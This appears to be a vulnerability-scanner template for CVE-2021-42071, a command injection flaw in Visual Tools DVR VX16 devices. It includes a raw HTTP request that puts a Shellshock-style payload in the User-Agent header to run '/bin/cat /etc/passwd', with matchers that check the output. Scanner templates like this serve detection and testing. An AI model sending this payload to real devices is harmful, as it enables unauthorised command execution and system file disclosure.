id: CVE-2021-42071
info:
name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection
author: gy741
severity: critical
description: Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
reference:
- https://www.exploit-db.com/exploits/50098
- https://nvd.nist.gov/vuln/detail/CVE-2021-42071
- https://visual-tools.com/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-42071
cwe-id: CWE-78
epss-score: 0.93419
tags: edb,cve,cve2021,visualtools,rce,oast,injection
metadata:
max-request: 1
http:
- raw:
- |
GET /cgi-bin/slogin/login.py HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
